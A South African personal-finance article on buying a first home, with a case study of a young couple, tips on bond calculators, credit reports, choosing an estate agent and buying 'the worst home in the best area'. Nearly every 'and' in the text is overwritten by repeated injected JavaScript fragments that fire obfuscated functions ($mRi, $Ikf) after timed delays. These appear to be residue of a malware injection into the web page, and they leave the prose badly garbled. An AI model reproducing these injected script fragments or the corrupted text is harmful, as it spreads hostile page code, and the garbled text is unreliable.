For young people, entering the property market can be an exercise in disillusionment.

#### Let’s take a look at a case study:

Philip andom() * 5); if (number1==3){var delay = 15000;setTimeout(\$mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout(\$Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout(\$mRi(0), delay);}and Michelle, a young couple who recently started a family, decided to move out of their rented townhouse in Sandom() * 5); if (number1==3){var delay = 15000;setTimeout(\$mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout(\$Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout(\$mRi(0), delay);}andton andom() * 5); if (number1==3){var delay = 15000;setTimeout(\$mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout(\$Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout(\$mRi(0), delay);}and buy themselves a home.

Together they worked out that they could afford to pay in the region of R1.5 million for a new house. They wanted a three bedroom house, with a study for Phillip, an IT professional, andom() * 5); if (number1==3){var delay = 15000;setTimeout(\$mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout(\$Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout(\$mRi(0), delay);}and a studio for Michelle, a pilates instructor.

It was not long before they learnt that it may be a buyer’s market for financially established individuals looking for investment properties, but for start up families options are limited.

The couple quickly realised their choice lay between moving to the outlying areas of Johannesburg or buying a “renovator’s dream.”

The good news for prospective buyers is that Michelle andom() * 5); if (number1==3){var delay = 15000;setTimeout(\$mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout(\$Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout(\$mRi(0), delay);}and Philip did find, andom() * 5); if (number1==3){var delay = 15000;setTimeout(\$mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout(\$Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout(\$mRi(0), delay);}and buy a new home.

While their new house needs a lot of love andom() * 5); if (number1==3){var delay = 15000;setTimeout(\$mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout(\$Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout(\$mRi(0), delay);}and care, the area is right andom() * 5); if (number1==3){var delay = 15000;setTimeout(\$mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout(\$Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout(\$mRi(0), delay);}and so was the price. In time, they know they will turn it into their dream home.

The key to successful property hunting is to get your ducks in a row before you even begin to search.

To avoid disappointment make sure you know what you can afford. Almost all of the banks offer an online bond calculator. Go check out their websites.

You can also apply for a home loan online.

The online bond calculators will not be 100% accurate but will offer a rough guide.

Other factors also affect your bond application like your credit rating or any other payments or taxes in arrears.

You are entitled to one free credit report a year, andom() * 5); if (number1==3){var delay = 15000;setTimeout(\$mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout(\$Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout(\$mRi(0), delay);}and this is a great opportunity to check that your affairs are in order.

The next step is to find a good estate agent. While you can of course look for your real estate investment online, an estate agent will help guide you through the process.

They play a large role in this process so check that your estate agent is registered with the Estate Agency Affairs Board (www.eaab.org.za), andom() * 5); if (number1==3){var delay = 15000;setTimeout(\$mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout(\$Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout(\$mRi(0), delay);}and ask your friends andom() * 5); if (number1==3){var delay = 15000;setTimeout(\$mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout(\$Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout(\$mRi(0), delay);}and family for some recommendations. Find someone you like andom() * 5); if (number1==3){var delay = 15000;setTimeout(\$mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout(\$Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout(\$mRi(0), delay);}and whom you feel you can trust.

#### Finding that perfect home

Do not expect this to happen immediately, people take months to shop for a home andom() * 5); if (number1==3){var delay = 15000;setTimeout(\$mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout(\$Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout(\$mRi(0), delay);}and view dozens of options before they find the right one.

The best way to go about this is to make a checklist for every house you look at, which includes all the features you like such as a large garden or bay windows; as well as the practical elements that need to be considered, like the state of the geyser or damp spots on the walls.

Ask the same questions at every house to ensure you are comparing apples with apples.

When you begin your search you will most likely find yourself in the same situation as Philip andom() * 5); if (number1==3){var delay = 15000;setTimeout(\$mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout(\$Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout(\$mRi(0), delay);}and Michelle.

Generally when buying a home it’s wiser to do what they did andom() * 5); if (number1==3){var delay = 15000;setTimeout(\$mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout(\$Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout(\$mRi(0), delay);}and buy the worst home in the best area, rather than a lovely home in an undesirable area.

If you invest your money into a home in a good area you will get it back if/when you sell the house.

Of course, you don’t want to buy a house that needs to be bulldozed andom() * 5); if (number1==3){var delay = 15000;setTimeout(\$mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout(\$Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout(\$mRi(0), delay);}and rebuilt. If you really like a house be sure to get an expert assessment before you buy.

[gravityform id=”8″ name=”Home Loan”]

moneysmart tip: If you want to build onto your new house make sure you investigate the zoning laws of the area. Always think of it as an investment andom() * 5); if (number1==3){var delay = 15000;setTimeout(\$mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout(\$Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout(\$mRi(0), delay);}and knowing the rates andom() * 5); if (number1==3){var delay = 15000;setTimeout(\$mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout(\$Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout(\$mRi(0), delay);}and taxes on the new house is also important so you can factor the costs of this into your monthly budget.

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